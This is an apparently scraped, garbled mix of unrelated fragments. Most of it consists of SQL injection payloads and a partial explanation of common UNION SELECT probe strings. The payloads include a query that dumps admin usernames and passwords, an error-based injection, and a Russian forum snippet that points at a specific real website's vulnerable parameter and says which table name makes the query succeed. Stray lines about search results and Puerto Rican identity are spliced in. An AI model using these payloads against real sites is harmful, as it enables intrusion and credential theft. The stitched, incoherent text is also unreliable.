0x39313335313435363237322e39 is just the hex text of 91351456272.9. Why 999999.9?
So, as it's being used a lot, I would submit my answer. In my opinion, the aim of these requests is to check the presence or absence of a sql injection. This is the part of the query that is trying to inject: 999999.9 UNION ALL SELECT "91351456272.9","91351456272.9"...
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.
Word Spark search letters: rep) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- qmfQ.
32)),0x332150,ifnull(full_name,char(32)),0x332150,ifnull(user_name,char(32)),0x332150,ifnull(user_email,char(32)),0x332150,ifnull
999999.9+union+all+select+%27R3DM0V3_hvj_injection',null
http://www.photoindustria.ru/?mod=contest&id=14+union+select+null,null,null,null,null,null+from+ABCDEF. Click to expand... Если ABCDEF заменить на USERS - запроспроходит. Далее подбираем поля
999999.9"+union+all+select+1+and+"0"="0+ patches. found 0 results in all patches. Looks like we were not able to find what you were looking for.
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))).
Also, as a Latina myself(Puerto Rican) this was lowkey hard to make because all of the things I do and my family does is normal to me, so it’s kind of hard to pin point what’s different and